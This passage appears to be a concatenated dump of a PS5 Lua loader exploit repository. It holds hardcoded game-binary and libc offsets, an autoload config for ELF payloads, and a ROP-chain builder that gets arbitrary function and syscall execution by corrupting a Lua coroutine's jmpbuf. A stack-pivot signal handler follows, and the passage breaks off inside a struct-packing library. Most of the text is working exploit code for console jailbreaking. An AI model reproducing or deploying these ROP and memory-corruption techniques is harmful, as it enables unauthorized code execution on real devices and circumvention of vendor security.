855 | eboot_addrofs = { 856 | fake_string = 0x600164, -- SCE_RELRO segment, use ptr as size for fake string 857 | luaB_auxwrap = 0x1BBB10, -- to resolve eboot base 858 | longjmp_import = 0x61B018, -- to resolve libc base 859 | 860 | luaL_optinteger = 0x1B94B0, 861 | luaL_checklstring = 0x1B90A0, 862 | lua_pushlstring = 0x1B7140, 863 | lua_pushinteger = 0x1B7120, 864 | 865 | luaL_newstate = 0x1BA430, 866 | luaL_openlibs = 0x1C4510, 867 | lua_setfield = 0x1B7C20, 868 | luaL_loadstring = 0x1BA3C0, 869 | lua_pcall = 0x1B82B0, 870 | lua_pushcclosure = 0x1B7350, 871 | lua_tolstring = 0x1B6830, 872 | lua_pushstring = 0x1B71A0, 873 | }, 874 | libc_addrofs = { 875 | calloc = 0x4D610, 876 | memcpy = 0x42B10, 877 | setjmp = 0xB11B0, 878 | longjmp = 0xB1200, 879 | strerror = 0x36C90, 880 | error = 0x168, 881 | sceKernelGetModuleInfoFromAddr = 0x198, 882 | gettimeofday_import = 0x1179A8, 883 | 884 | Thrd_join = 0x4CA20, 885 | Thrd_exit = 0x4CAA0, 886 | Thrd_create = 0x4CC20, 887 | 888 | Mtx_init = 0x4CEA0, 889 | Mtx_lock = 0x4CF30, 890 | Mtx_unlock = 0x4CF20, 891 | 892 | Atomic_fetch_add_8 = 0x381C0, 893 | } 894 | }, 895 | } 896 | -------------------------------------------------------------------------------- /savedata/ps5_lua_loader/autoload.txt: -------------------------------------------------------------------------------- 1 | # 2 | # ps5_lua_loader 3 | # autoload config file 4 | # ------------------------- 5 | # Loader looks for this config file (ps5_lua_loader/autoload.txt) in the following directories (highest priority first): 6 | # - USB drives, 7 | # - /data directory, 8 | # - Lua game savedata directory. 9 | # Only the first autoload.txt found will be used; subsequent files will be ignored. 10 | # 11 | # This file should contain the names of ELF payloads (.elf or .bin) and Lua scripts (.lua) to be loaded. 12 | # (one file name per line) 13 | # ELF files will be sent to elf_loader. Lua scripts will be executed synchronously. 14 | # Lines starting with ! will be treated as sleep commands (e.g., !1000 will sleep for 1000ms). 15 | # 16 | # umtx.lua and elf_loader will be started automatically and shouldn't be included here. 17 | # 18 | 19 | 20 | # john-tornblom's ftp server v0.11.3 21 | ftpsrv.elf 22 | -------------------------------------------------------------------------------- /savedata/ps5_lua_loader/ftpsrv.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsPLK/ps5_lua_loader/592d909a3390b9da70ea4bb04031c43c19d492d1/savedata/ps5_lua_loader/ftpsrv.elf -------------------------------------------------------------------------------- /savedata/ropchain.lua: -------------------------------------------------------------------------------- 1 | 2 | -- 3 | -- ropchain class 4 | -- 5 | -- helper for creating rop chains 6 | -- 7 | 8 | ropchain = {} 9 | ropchain.__index = ropchain 10 | 11 | setmetatable(ropchain, { 12 | __call = function(_, opt) -- make class callable as constructor 13 | return ropchain:new(opt) 14 | end 15 | }) 16 | 17 | function ropchain:new(opt) 18 | 19 | opt = opt or {} 20 | 21 | local self = setmetatable({}, ropchain) 22 | 23 | if not ropchain.dont_recurse then 24 | self.fcall_stub = ropchain.create_fcall_stub(opt.fcall_stub_padding_size or 0x2000) 25 | end 26 | 27 | self.stack_size = opt.stack_size or 0x2000 28 | self.stack_base = opt.stack_base and uint64(opt.stack_base) or memory.alloc(self.stack_size) 29 | self.align_offset = 0 30 | self.stack_offset = 0 31 | 32 | -- longjmp overwrites first stack slot with addr to ret gadget 33 | self.push_ret(self) 34 | 35 | -- align stack base to 16 bytes 36 | if self.stack_base:tonumber() % 16 ~= 0 then 37 | local jmp_to = align_16(self.stack_base + self.stack_offset) + 0x20 38 | self.push_set_rsp(self, jmp_to) 39 | self.align_offset = jmp_to - self.stack_base 40 | self.stack_offset = 0 41 | end 42 | 43 | self.retval_addr = {} 44 | 45 | -- recover from call [rax+8] instruction 46 | self.recover_from_call = memory.alloc(0x10) 47 | memory.write_qword(self.recover_from_call+8, gadgets["pop rbx; ret"]) 48 | 49 | return self 50 | end 51 | 52 | function ropchain.create_fcall_stub(padding_size) 53 | 54 | local fcall_stub = {} 55 | fcall_stub.fn_addr = memory.alloc(padding_size) + (padding_size - 0x100) 56 | 57 | ropchain.dont_recurse = true 58 | local stub = ropchain({ 59 | stack_base = fcall_stub.fn_addr, 60 | }) 61 | ropchain.dont_recurse = false 62 | 63 | stub:align_stack() 64 | stub:push(0) -- fn addr 65 | fcall_stub.fn_addr = stub:get_rsp() - 0x8 66 | 67 | -- jmp back to ropchain 68 | stub:push_set_rsp(0) 69 | fcall_stub.return_addr = stub:get_rsp() - 0x8 70 | 71 | return fcall_stub 72 | end 73 | 74 | function ropchain:__tostring() 75 | 76 | local result = {} 77 | 78 | table.insert(result, string.format("ropchain @ %s (size: %s)\n", 79 | hex(self.stack_base), hex(self.stack_offset))) 80 | 81 | table.insert(result, string.format("fcall_stub.fn_addr: %s", 82 | hex(self.fcall_stub.fn_addr))) 83 | 84 | table.insert(result, string.format("fcall_stub.return_addr: %s\n", 85 | hex(self.fcall_stub.return_addr))) 86 | 87 | local qwords = memory.read_multiple_qwords(self.stack_base + self.align_offset, self.stack_offset / 8) 88 | 89 | local value_symbol = {} 90 | for i,t in ipairs({gadgets, eboot_addrofs, libc_addrofs}) do 91 | for k,v in pairs(t) do 92 | if k ~= "stack_pivot" then 93 | value_symbol[hex(v)] = k 94 | end 95 | end 96 | end 97 | 98 | local idx = 1 99 | while idx < #qwords+1 do 100 | local offset = 8 * (idx-1) 101 | local val = hex(qwords[idx]) 102 | if value_symbol[val] then 103 | val = val .. string.format("\t; %s", value_symbol[val]) 104 | end 105 | table.insert(result, string.format( 106 | "%s: %s", hex(self.stack_base + self.align_offset + offset), val 107 | )) 108 | idx = idx + 1 109 | end 110 | 111 | return "\n" .. table.concat(result, "\n") 112 | end 113 | 114 | function ropchain:get_rsp() 115 | return self.stack_base + self.align_offset + self.stack_offset 116 | end 117 | 118 | -- align stack to 16 bytes 119 | function ropchain:align_stack() 120 | if self.stack_offset % 16 == 8 then 121 | self:push_ret() 122 | end 123 | end 124 | 125 | function ropchain:increment_stack() 126 | 127 | if self.stack_offset >= self.stack_size then 128 | error("ropchain storage exhausted") 129 | end 130 | 131 | local rsp = self:get_rsp() 132 | self.stack_offset = self.stack_offset + 8 133 | return rsp 134 | end 135 | 136 | function ropchain:push(v) 137 | 138 | if self.finalized then 139 | error("ropchain has been finalized and cant be modified") 140 | end 141 | 142 | if self.enable_mock_push then 143 | self:increment_stack() 144 | else 145 | memory.write_qword(self:increment_stack(), lua.resolve_value(v)) 146 | end 147 | end 148 | 149 | function ropchain:mock_push(callback) 150 | 151 | local before_prep_offset = self.stack_offset 152 | 153 | self.enable_mock_push = true 154 | callback() 155 | self.enable_mock_push = false 156 | 157 | local size = self.stack_offset - before_prep_offset 158 | self.stack_offset = before_prep_offset 159 | 160 | return size 161 | end 162 | 163 | function ropchain:push_ret() 164 | self:push(gadgets["ret"]) 165 | end 166 | 167 | function ropchain:push_set_rsp(v) 168 | self:push(gadgets["pop rsp; ret"]) 169 | self:push(v) 170 | end 171 | 172 | function ropchain:push_set_rbp(v) 173 | self:push(gadgets["pop rbp; ret"]) 174 | self:push(v) 175 | end 176 | 177 | function ropchain:push_set_rax(v) 178 | self:push(gadgets["pop rax; ret"]) 179 | self:push(v) 180 | end 181 | 182 | function ropchain:push_set_rbx(v) 183 | self:push(gadgets["pop rbx; ret"]) 184 | self:push(v) 185 | end 186 | 187 | function ropchain:push_set_rcx(v) 188 | self:push(gadgets["pop rcx; ret"]) 189 | self:push(v) 190 | end 191 | function ropchain:push_set_rdx(v) 192 | self:push(gadgets["pop rdx; ret"]) 193 | self:push(v) 194 | end 195 | 196 | function ropchain:push_set_rdi(v) 197 | self:push(gadgets["pop rdi; ret"]) 198 | self:push(v) 199 | end 200 | 201 | function ropchain:push_set_rsi(v) 202 | self:push(gadgets["pop rsi; ret"]) 203 | self:push(v) 204 | end 205 | 206 | function ropchain:push_set_r8(v) 207 | self:push(gadgets["pop r8; ret"]) 208 | self:push(v) 209 | end 210 | 211 | -- clobbers rax, rbx / rax, r13, r14, r15 212 | function ropchain:push_set_r9(v) 213 | 214 | local set_r9_gadget = nil 215 | 216 | if gadgets["mov r9, rbx; call [rax + 8]"] then 217 | self:push_set_rax(self.recover_from_call) 218 | self:push_set_rbx(v) 219 | set_r9_gadget = gadgets["mov r9, rbx; call [rax + 8]"] 220 | else 221 | self:push_set_rax(self.recover_from_call) 222 | self:push(gadgets["pop r13; pop r14; pop r15; ret"]) 223 | self:push(v) 224 | set_r9_gadget = gadgets["mov r9, r13; call [rax + 8]"] 225 | end 226 | 227 | self:push_ret() 228 | self:push_ret() 229 | self:push(set_r9_gadget) 230 | 231 | -- fix chain as `call` instruction corrupts set r9 gadget by pushing ret addr 232 | self:push_write_qword_memory(self:get_rsp() - 0x8, set_r9_gadget) 233 | end 234 | 235 | function ropchain:push_set_r9_wo_call(v) -- clobbers rax, rsi, r8 236 | temp_addr = bump.alloc(0x8) 237 | memory.write_qword(self.recover_from_call, v) 238 | self:push_set_rax(self.recover_from_call - 0x18) 239 | self:push_set_rsi(0) 240 | self:push_set_r8(temp_addr) 241 | self:push(gadgets["mov r9, [rax + rsi + 0x18]; xor eax, eax; mov [r8], r9; ret"]) 242 | end 243 | 244 | function ropchain:push_set_rax_from_memory(addr) 245 | self:push_set_rax(addr) 246 | self:push(gadgets["mov rax, [rax]; ret"]) 247 | end 248 | 249 | function ropchain:push_store_eax_into_memory(addr) 250 | self:push_set_rdi(addr) 251 | self:push(gadgets["mov [rdi], eax; ret"]) 252 | end 253 | 254 | function ropchain:push_store_rax_data_and_add_into_memory(addr, num) 255 | self:push(gadgets["mov rax, [rax]; ret"]) 256 | self:push_add_to_rax(num) 257 | self:push_set_rdi(addr) 258 | self:push(gadgets["mov [rdi], rax; ret"]) 259 | end 260 | 261 | function ropchain:push_store_rax_data_into_memory(addr) 262 | self:push(gadgets["mov rax, [rax]; ret"]) 263 | self:push_set_rdi(addr) 264 | self:push(gadgets["mov [rdi], rax; ret"]) 265 | end 266 | 267 | function ropchain:push_store_rax_into_memory(addr) 268 | self:push_set_rdi(addr) 269 | self:push(gadgets["mov [rdi], rax; ret"]) 270 | end 271 | 272 | function ropchain:push_store_rcx_into_memory(addr) -- clobbers rax 273 | self:push_set_rax(addr - 0x8) 274 | self:push(gadgets["mov [rax + 8], rcx; ret"]) 275 | end 276 | 277 | function ropchain:push_store_rdx_into_memory(addr) -- clobbers rax 278 | self:push_set_rax(addr - 0x28) 279 | self:push(gadgets["mov [rax + 0x28], rdx; ret"]) 280 | end 281 | 282 | function ropchain:push_store_rdi_into_memory(addr) -- clobbers rcx 283 | self:push_set_rcx(addr - 0xa0) 284 | self:push(gadgets["mov [rcx + 0xa0], rdi; ret"]) 285 | end 286 | 287 | function ropchain:push_add_to_rax(num) -- clobbers r8 288 | self:push_set_r8(num) 289 | self:push(gadgets["add rax, r8; ret"]) 290 | end 291 | 292 | function ropchain:push_add_dword_memory_with_eax(addr) 293 | self:push_set_rbx(addr) 294 | self:push(gadgets["add [rbx], eax; ret"]) 295 | end 296 | 297 | function ropchain:push_add_dword_memory_with_ecx(addr) 298 | self:push_set_rbx(addr) 299 | self:push(gadgets["add [rbx], ecx; ret"]) 300 | end 301 | 302 | function ropchain:push_add_dword_memory_with_edi(addr) 303 | self:push_set_rbx(addr) 304 | self:push(gadgets["add [rbx], edi; ret"]) 305 | end 306 | 307 | function ropchain:push_add_dword_memory(addr, num) 308 | if gadgets["add [rbx], eax; ret"] then 309 | self:push_set_rax(uint64(num).l) 310 | self:push_add_dword_memory_with_eax(addr) 311 | elseif gadgets["add [rbx], ecx; ret"] then 312 | self:push_set_rcx(uint64(num).l) 313 | self:push_add_dword_memory_with_ecx(addr) 314 | else 315 | self:push_set_rdi(uint64(num).l) 316 | self:push_add_dword_memory_with_edi(addr) 317 | end 318 | end 319 | 320 | function ropchain:push_add_atomic_qword(addr, val) 321 | self:push_set_rdx(0) -- some receive a 3rd argument and have a switch case 322 | self:push_set_rsi(val) 323 | self:push_set_rdi(addr) 324 | self:push(libc_addrofs.Atomic_fetch_add_8) 325 | end 326 | 327 | function ropchain:push_increment_atomic_qword(addr) 328 | self:push_add_atomic_qword(addr, 1) 329 | end 330 | 331 | function ropchain:push_decrement_atomic_qword(addr) 332 | self:push_add_atomic_qword(addr, -1) 333 | end 334 | 335 | function ropchain:push_write_dword_memory(addr, v) 336 | self:push_set_rax(v) 337 | self:push_store_eax_into_memory(addr) 338 | end 339 | 340 | function ropchain:push_write_qword_memory(addr, v) -- clobbers rdi 341 | self:push_set_rax(v) 342 | self:push_store_rax_into_memory(addr) 343 | end 344 | 345 | function ropchain:push_set_reg_from_reg(target_reg, src_reg) -- clobbers rdi 346 | 347 | if not (src_reg == "rax" or src_reg == "rdi") then 348 | error("ropchain:push_set_reg_from_reg() accepts only rax or rdi as source reg") 349 | end 350 | 351 | local disp = (target_reg == "r9") and 0x30 or 0x20 352 | self["push_store_" .. src_reg .. "_into_memory"](self, self:get_rsp() + disp) -- overwrite pop reg value 353 | self["push_set_" .. target_reg](self, 0) 354 | end 355 | 356 | function ropchain:push_set_reg_from_rax(reg) 357 | self:push_set_reg_from_reg(reg, "rax") 358 | end 359 | 360 | function ropchain:push_set_reg_from_rdi(reg) 361 | self:push_set_reg_from_reg(reg, "rdi") 362 | end 363 | 364 | function ropchain:push_set_reg_from_memory(reg, addr) 365 | self:push_set_rax_from_memory(addr) 366 | self:push_set_reg_from_rax(reg) 367 | end 368 | 369 | function ropchain:create_hole(hole_size) 370 | self:push_set_rsp(self:get_rsp() + 0x10 + hole_size) 371 | self.stack_offset = self.stack_offset + hole_size 372 | end 373 | 374 | function ropchain:push_sysv(rdi, rsi, rdx, rcx, r8, r9) 375 | if rdi then self:push_set_rdi(rdi) end 376 | if rsi then self:push_set_rsi(rsi) end 377 | if rdx then self:push_set_rdx(rdx) end 378 | if rcx then self:push_set_rcx(rcx) end 379 | if r8 then self:push_set_r8(r8) end 380 | if r9 then self:push_set_r9(r9) end 381 | end 382 | 383 | function ropchain:push_syscall_raw(syscall, prep_arg_callback) 384 | 385 | assert(syscall.fn_addr and syscall.syscall_no) 386 | 387 | local push_size = 0 388 | local push_cb = function() 389 | self:push_write_qword_memory(self:get_rsp() + push_size, syscall.fn_addr) 390 | if prep_arg_callback then 391 | prep_arg_callback() 392 | end 393 | self:push_set_rax(syscall.syscall_no) 394 | self:create_hole(0x10) 395 | end 396 | 397 | push_size = self:mock_push(push_cb) 398 | push_cb() 399 | 400 | self:push(0) -- will be overwritten 401 | end 402 | 403 | function ropchain:push_syscall(syscall, rdi, rsi, rdx, rcx, r8, r9) 404 | self:push_syscall_raw(syscall, function() 405 | self:push_sysv(rdi, rsi, rdx, rcx, r8, r9) 406 | end) 407 | end 408 | 409 | function ropchain:push_syscall_with_ret(syscall, rdi, rsi, rdx, rcx, r8, r9) 410 | self:push_syscall(syscall, rdi, rsi, rdx, rcx, r8, r9) 411 | self:push_store_retval() 412 | end 413 | 414 | -- if `is_rip_ptr` is set, rip is assumed to be ptr to the real address 415 | function ropchain:push_fcall_raw(rip, prep_arg_callback, is_rip_ptr) 416 | 417 | local fcall_stub = self.fcall_stub 418 | 419 | if is_rip_ptr then 420 | self:push_set_rax_from_memory(rip) 421 | self:push_store_rax_into_memory(fcall_stub.fn_addr) 422 | else 423 | self:push_write_qword_memory(fcall_stub.fn_addr, rip) 424 | end 425 | 426 | local push_size = 0 427 | local push_cb = function() 428 | 429 | -- where to jmp after fcall stub 430 | self:push_write_qword_memory(fcall_stub.return_addr, self:get_rsp() + push_size) 431 | 432 | if prep_arg_callback then 433 | prep_arg_callback() 434 | end 435 | 436 | -- jmp to fcall stub 437 | self:push_set_rsp(fcall_stub.fn_addr) 438 | end 439 | 440 | push_size = self:mock_push(push_cb) 441 | push_cb() 442 | end 443 | 444 | function ropchain:push_fcall(rip, rdi, rsi, rdx, rcx, r8, r9) 445 | self:push_fcall_raw(rip, function() 446 | self:push_sysv(rdi, rsi, rdx, rcx, r8, r9) 447 | end) 448 | end 449 | 450 | function ropchain:push_fcall_with_ret(rip, rdi, rsi, rdx, rcx, r8, r9) 451 | self:push_fcall(rip, rdi, rsi, rdx, rcx, r8, r9) 452 | self:push_store_retval() 453 | end 454 | 455 | function ropchain:push_store_retval() 456 | local buf = memory.alloc(8) 457 | table.insert(self.retval_addr, buf) 458 | self:push_store_rax_into_memory(buf) 459 | end 460 | 461 | function ropchain:get_last_retval_addr() 462 | return self.retval_addr[#self.retval_addr] 463 | end 464 | 465 | function ropchain:dispatch_jumptable_with_rax_index(jump_table) 466 | 467 | self:push_set_rcx(3) 468 | self:push(gadgets["shl rax, cl; ret"]) 469 | 470 | self:push_add_to_rax(jump_table) 471 | self:push(gadgets["mov rax, [rax]; ret"]) 472 | 473 | self:push_set_reg_from_rax("rsp") 474 | end 475 | 476 | -- only unsigned 32-bit comparison is supported 477 | function ropchain:create_branch(value_address, op, compare_value) 478 | 479 | self:push_set_rax(value_address) 480 | self:push_set_rbx(compare_value) 481 | self:push(gadgets["cmp [rax], ebx; ret"]) 482 | 483 | self:push_set_rax(0) 484 | 485 | if op == "==" then 486 | self:push(gadgets["sete al; ret"]) 487 | elseif op == "~=" then 488 | self:push(gadgets["setne al; ret"]) 489 | elseif op == ">" then 490 | self:push(gadgets["seta al; ret"]) 491 | elseif op == "<" then 492 | self:push(gadgets["setb al; ret"]) 493 | else 494 | errorf("ropchain:create_branch: invalid op (%s)", op) 495 | end 496 | 497 | local jump_table = memory.alloc(0x10) 498 | self:dispatch_jumptable_with_rax_index(jump_table) 499 | return jump_table 500 | end 501 | 502 | -- gen "if statement" style code 503 | function ropchain:gen_conditional(value_address, op, compare_value, callback) 504 | 505 | local jump_table = self:create_branch(value_address, op, compare_value) 506 | 507 | -- if memory[value_address] compare_value then 508 | local jmp_cond_true = self:get_rsp() 509 | callback() 510 | -- end 511 | 512 | local jmp_cond_false = self:get_rsp() 513 | 514 | memory.write_multiple_qwords(jump_table, { 515 | jmp_cond_false, -- comparison false 516 | jmp_cond_true, -- comparison true 517 | }) 518 | end 519 | 520 | -- gen "while statement" style loop 521 | function ropchain:gen_loop(value_address, op, compare_value, callback) 522 | 523 | local loopback = self:get_rsp() 524 | local jump_table = self:create_branch(value_address, op, compare_value) 525 | 526 | -- while memory[value_address] compare_value do 527 | local jmp_cond_true = self:get_rsp() 528 | callback() 529 | self:push_set_rsp(loopback) 530 | -- end 531 | 532 | local jmp_cond_false = self:get_rsp() 533 | 534 | memory.write_multiple_qwords(jump_table, { 535 | jmp_cond_false, -- comparison false 536 | jmp_cond_true, -- comparison true 537 | }) 538 | end 539 | 540 | function ropchain:restore_through_longjmp(jmpbuf) 541 | if not self.finalized then 542 | -- restore execution through longjmp 543 | self.jmpbuf = jmpbuf or memory.alloc(0x60) 544 | self:push_fcall(libc_addrofs.longjmp, self.jmpbuf, 0) 545 | self.finalized = true 546 | end 547 | end 548 | 549 | -- corrupt coroutine's jmpbuf for code execution 550 | function ropchain:execute_through_coroutine() 551 | 552 | if not self.finalized then 553 | error("restore_through_longjmp need to be run first") 554 | end 555 | 556 | local run_hax = function(lua_state_addr) 557 | 558 | -- backup original jmpbuf 559 | local jmpbuf_addr = memory.read_qword(lua_state_addr+0xa8) + 0x8 560 | memory.memcpy(self.jmpbuf, jmpbuf_addr, 0x60) 561 | 562 | -- overwrite registers in jmpbuf 563 | memory.write_qword(jmpbuf_addr + 0, gadgets["ret"]) -- rip 564 | memory.write_qword(jmpbuf_addr + 16, self.stack_base) -- rsp 565 | 566 | assert(false) -- trigger exception 567 | end 568 | 569 | -- run ropchain 570 | local victim = coroutine.create(run_hax) 571 | coroutine.resume(victim, lua.addrof(victim)) 572 | 573 | local retval = self:get_last_retval_addr() 574 | if retval then 575 | return memory.read_qword(retval) 576 | end 577 | end 578 | 579 | -- 580 | -- fcall class 581 | -- 582 | -- helper to execute function or system call through rop 583 | -- 584 | 585 | fcall = {} 586 | fcall.__index = fcall 587 | 588 | setmetatable(fcall, { 589 | __call = function(_, fn_addr, syscall_no) -- make class callable as constructor 590 | return fcall:new(fn_addr, syscall_no) 591 | end 592 | }) 593 | 594 | function fcall:new(fn_addr, syscall_no) 595 | 596 | assert(fn_addr, "invalid function address") 597 | 598 | if not (fcall.chain or native_invoke) then 599 | fcall.create_initial_chain() 600 | end 601 | 602 | local self = setmetatable({}, fcall) 603 | self.fn_addr = fn_addr 604 | self.syscall_no = syscall_no 605 | return self 606 | end 607 | 608 | function fcall.create_initial_chain() 609 | 610 | local arg_addr = { 611 | fn_addr = memory.alloc(8), 612 | syscall_no = memory.alloc(8), 613 | rdi = memory.alloc(8), 614 | rsi = memory.alloc(8), 615 | rdx = memory.alloc(8), 616 | rcx = memory.alloc(8), 617 | r8 = memory.alloc(8), 618 | r9 = memory.alloc(8), 619 | } 620 | 621 | local chain = ropchain() 622 | 623 | local prep_arg_callback = function() 624 | chain:push_set_reg_from_memory("r9", arg_addr.r9) 625 | chain:push_set_reg_from_memory("r8", arg_addr.r8) 626 | chain:push_set_reg_from_memory("rcx", arg_addr.rcx) 627 | chain:push_set_reg_from_memory("rdx", arg_addr.rdx) 628 | chain:push_set_reg_from_memory("rsi", arg_addr.rsi) 629 | chain:push_set_reg_from_memory("rdi", arg_addr.rdi) 630 | chain:push_set_rax_from_memory(arg_addr.syscall_no) 631 | end 632 | 633 | chain:push_fcall_raw(arg_addr.fn_addr, prep_arg_callback, true) 634 | chain:push_store_retval() 635 | 636 | chain:restore_through_longjmp() 637 | 638 | fcall.arg_addr = arg_addr 639 | fcall.chain = chain 640 | end 641 | 642 | function fcall:__call(rdi, rsi, rdx, rcx, r8, r9) 643 | if native_invoke then 644 | return native.fcall_with_rax(self.fn_addr, self.syscall_no, rdi, rsi, rdx, rcx, r8, r9) 645 | else 646 | local arg_addr = fcall.arg_addr 647 | memory.write_qword(arg_addr.fn_addr, self.fn_addr) 648 | memory.write_qword(arg_addr.syscall_no, self.syscall_no or 0) 649 | memory.write_qword(arg_addr.rdi, lua.resolve_value(rdi or 0)) 650 | memory.write_qword(arg_addr.rsi, lua.resolve_value(rsi or 0)) 651 | memory.write_qword(arg_addr.rdx, lua.resolve_value(rdx or 0)) 652 | memory.write_qword(arg_addr.rcx, lua.resolve_value(rcx or 0)) 653 | memory.write_qword(arg_addr.r8, lua.resolve_value(r8 or 0)) 654 | memory.write_qword(arg_addr.r9, lua.resolve_value(r9 or 0)) 655 | return fcall.chain:execute_through_coroutine() 656 | end 657 | end 658 | 659 | function fcall:__tostring() 660 | return string.format("address @ %s\n%s", hex(self.fn_addr), tostring(fcall.chain)) 661 | end 662 | -------------------------------------------------------------------------------- /savedata/save9999.dat: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/itsPLK/ps5_lua_loader/592d909a3390b9da70ea4bb04031c43c19d492d1/savedata/save9999.dat -------------------------------------------------------------------------------- /savedata/signal.lua: -------------------------------------------------------------------------------- 1 | 2 | function register_signal_handler(handler_addr) 3 | 4 | local signals = {SIGILL, SIGBUS, SIGSEGV} 5 | local sigaction_struct = memory.alloc(0x28) 6 | 7 | memory.write_qword(sigaction_struct, handler_addr) -- sigaction.sa_handler 8 | memory.write_qword(sigaction_struct+0x20, SA_SIGINFO) -- sigaction.sa_flags 9 | 10 | for i,signal in ipairs(signals) do 11 | if syscall.sigaction(signal, sigaction_struct, 0):tonumber() < 0 then 12 | error("sigaction() error: " .. get_error_string()) 13 | end 14 | end 15 | 16 | end 17 | 18 | 19 | signal = {} 20 | 21 | function signal.register() 22 | local pivot_handler = gadgets.stack_pivot[1] 23 | register_signal_handler(pivot_handler.gadget_addr) 24 | signal.setup_pivot_handler(pivot_handler) 25 | end 26 | 27 | function signal.clear() 28 | local SIG_DFL = 0 -- default signal handling 29 | local SIG_IGN = 1 -- signal is ignored 30 | register_signal_handler(SIG_DFL) 31 | end 32 | 33 | function signal.setup_pivot_handler(pivot_handler) 34 | 35 | local mcontext_offset = 0x40 36 | local reg_rbp_offset = 0x48 37 | local reg_rsp_offset = 0xb8 38 | 39 | if signal.pivot_already_setup then 40 | return 41 | end 42 | 43 | local ucontext_struct_addr = memory.alloc(8) 44 | local output_addr = memory.alloc(0x18) 45 | 46 | signal.fd_addr = memory.alloc(8) 47 | 48 | map_fixed_address(pivot_handler.pivot_base, 0x2000) 49 | 50 | local chain = ropchain({ 51 | stack_base = pivot_handler.pivot_addr, 52 | }) 53 | 54 | -- write error address back to socket 55 | 56 | memory.write_qword(output_addr, 0x13371337) -- write magic value 57 | chain:push_store_rdi_into_memory(output_addr + 0x8) -- rdi contains signal code 58 | chain:push_store_rax_into_memory(output_addr + 0x10) -- rax contains crashing address 59 | chain:push_store_rdx_into_memory(ucontext_struct_addr) 60 | 61 | -- send signal info to client 62 | chain:push_syscall_raw(syscall.write, function() 63 | chain:push_set_rdx(0x18) 64 | chain:push_set_rsi(output_addr) 65 | chain:push_set_reg_from_memory("rdi", signal.fd_addr) 66 | end) 67 | 68 | -- send mcontext buffer to client 69 | chain:push_syscall_raw(syscall.write, function() 70 | chain:push_set_rdx(0x100) 71 | chain:push_set_rax_from_memory(ucontext_struct_addr) 72 | chain:push_add_to_rax(mcontext_offset) 73 | chain:push_set_reg_from_rax("rsi") 74 | chain:push_set_reg_from_memory("rdi", signal.fd_addr) 75 | end) 76 | 77 | -- restore execution 78 | 79 | -- advance to old rbp 80 | chain:push_set_rax_from_memory(ucontext_struct_addr) 81 | chain:push_add_to_rax(mcontext_offset + reg_rbp_offset) 82 | 83 | -- write to rop chain 84 | chain:push_store_rax_data_and_add_into_memory(chain:get_rsp() + 0x158, 0x8) -- write value to push_set_rbp() 85 | 86 | -- advance to old rsp 87 | chain:push_set_rax_from_memory(ucontext_struct_addr) 88 | chain:push_add_to_rax(mcontext_offset + reg_rsp_offset) 89 | 90 | -- write to rop chain 91 | chain:push_store_rax_data_and_add_into_memory(chain:get_rsp() + 0x120, 0x8) -- write value to push_set_rsp() 92 | 93 | chain:push_set_r9(0) 94 | chain:push_set_r8(0) 95 | chain:push_set_rsi(0) 96 | chain:push_set_rdx(0) 97 | chain:push_set_rcx(0) 98 | chain:push_set_rbx(0) 99 | chain:push_set_rbp(0) -- will be changed 100 | chain:push_set_rdi(0) 101 | chain:push_set_rax(0) 102 | chain:push_set_rsp(0) -- will be changed 103 | 104 | signal.pivot_already_setup = true 105 | end 106 | 107 | function signal.set_sink_fd(fd) 108 | memory.write_qword(signal.fd_addr, fd) 109 | end -------------------------------------------------------------------------------- /savedata/struct.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | * Copyright (c) 2015-2020 Iryont 3 | * 4 | * Permission is hereby granted, free of charge, to any person obtaining a copy 5 | * of this software and associated documentation files (the "Software"), to deal 6 | * in the Software without restriction, including without limitation the rights 7 | * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 8 | * copies of the Software, and to permit persons to whom the Software is 9 | * furnished to do so, subject to the following conditions: 10 | * 11 | * The above copyright notice and this permission notice shall be included in 12 | * all copies or substantial portions of the Software. 13 | * 14 | * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 15 | * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 16 | * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 17 | * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 18 | * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 19 | * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN 20 | * THE SOFTWARE. 21 | ]] 22 | 23 | unpack = table.unpack or _G.unpack 24 | 25 | struct = {} 26 | 27 | function struct.pack(format, ...) 28 | local stream = {} 29 | local vars = {...} 30 | local endianness = true 31 | 32 | for i = 1, format:len() do 33 | local opt = format:sub(i, i) 34 | 35 | if opt == '<' then 36 | endianness = true 37 | elseif opt == '>' then 38 | endianness = false 39 | elseif opt:find('[bBhHiIlL]') then 40 | local n = opt:find('[hH]') and 2 or opt:find('[iI]') and 4 or opt:find('[lL]') and 8 or 1 41 | local val = tonumber(table.remove(vars, 1)) 42 | 43 | local bytes = {} 44 | for j = 1, n do 45 | table.insert(bytes, string.char(val % (2 ^ 8))) 46 | val = math.floor(val / (2 ^ 8)) 47 | end 48 | 49 | if not endianness then 50 | table.insert(stream, string.reverse(table.concat(bytes))) 51 | else 52 | table.insert(stream, table.concat(bytes)) 53 | end 54 | elseif opt:find('[fd]') then 55 | local val = tonumber(table.remove(vars, 1)) 56 | local sign = 0 57 | 58 | if val < 0 then 59 | sign = 1 60 | val = -val 61 | end 62 | 63 | local mantissa, exponent = math.frexp(val) 64 | if val == 0 then 65 | mantissa = 0 66 | exponent = 0 67 | else 68 | mantissa = (mantissa * 2 - 1) * math.ldexp(0.5, (opt == 'd') and 53 or 24) 69 | exponent = exponent + ((opt == 'd') and 1022 or 126) 70 | end 71 | 72 | local bytes = {} 73 | if opt == 'd' then 74 | val = mantissa 75 | for i = 1, 6 do 76 | table.insert(bytes, string.char(math.floor(val) % (2 ^ 8))) 77 | val = math.floor(val / (2 ^ 8)) 78 | end 79 | else 80 | table.insert(bytes, string.char(math.floor(mantissa) % (2 ^ 8))) 81 | val = math.floor(mantissa / (2 ^ 8)) 82 | table.insert(bytes, string.char(math.floor(val) % (2 ^ 8))) 83 | val = math.floor(val / (2 ^ 8)) 84 | end 85 | 86 | table.insert(bytes, 